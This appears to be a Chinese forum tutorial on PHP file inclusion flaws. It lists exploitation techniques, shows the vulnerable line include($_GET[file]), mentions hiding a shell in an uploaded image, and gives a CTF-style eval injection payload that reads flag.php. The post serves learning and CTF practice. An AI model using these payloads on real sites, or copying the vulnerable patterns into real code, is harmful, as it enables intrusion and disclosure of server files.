文件包含漏洞是"代码注入"的一种,包含即执行。- PHP包含漏洞结合上传漏洞;
- PHP包含读文件;
- PHP包含写文件;
- PHP包含日志文件;
- PHP截断包含;
- PHP内置伪协议利用。
PHP中文件包含函数有以下四种: - require()
- require_once()
- include()
- include_once()
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。 而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。 最简单的漏洞代码:<?php include($_GET[file]);?> 当使用这4个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP的内核并不会在意被包含的文件是什么类型。即你可以上传一个含shell的txt或jpg文件,包含它会被当作PHP代码执行(图马)。 下面是一个简单的php包含漏洞 index.php [mw_shl_code=php,true]<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>[/mw_shl_code] flag.php [mw_shl_code=php,true]<?php
$flag = 'Too Young Too Simple';
# echo $flag;
# flag{xxxxxxxxxxxxxxx};
?>[/mw_shl_code] payload:?hello=show_source("flag.php") ?hello=show_source(flag.'.'.php)
show_source可以高亮代码
|